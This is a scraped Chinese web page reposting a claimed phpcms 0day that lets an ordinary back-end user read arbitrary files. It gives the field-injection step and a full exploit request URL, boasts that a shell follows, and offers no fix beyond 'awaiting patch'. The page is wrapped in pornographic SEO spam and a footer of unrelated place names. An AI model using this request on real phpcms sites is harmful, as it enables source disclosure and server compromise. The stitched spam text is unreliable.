国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > CMS > PhpCMS > 正文

phpcms后臺普通用戶讀文件0day的分析以及修復方法

2024-09-10 07:16:41
字體：大 中 小
來源：轉載
供稿：網友
后臺采集里設置采集模塊中title 或者其他的內容都可以 設置為<?php[內容]?>
然后用下面的代碼就可以讀取到php的源了。
index.php?clientid=name&url=./caches/caches_scan/caches_data/scan_bad_file.cache.php&_=1344175735957&m=collection&c=node&a=public_test_content&nodeid=1&pc_hash=xxxx
拿到源基本拿到shell不難了。具體如何利用看大家自己了。（別跟我說只會讀數據庫連接文件，并且還不能連），反正我是可以拿到shell。
修復：已提交給官方，等待補丁

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板： 隆子县| 广元市| 昆明市| 丹棱县| 兰考县| 商河县| 安化县| 青浦区| 大邑县| 昌都县| 喀喇| 南开区| 广丰县| 奉新县| 荣昌县| 平乐县| 宜城市| 夏邑县| 长乐市| 灌云县| 平利县| 岳阳市| 井研县| 太保市| 佛冈县| 淅川县| 乐至县| 大新县| 仁布县| 九龙城区| 望江县| 铜陵市| 黄浦区| 陵水| 改则县| 长治市| 邹城市| 龙井市| 贵南县| 新乐市| 星子县|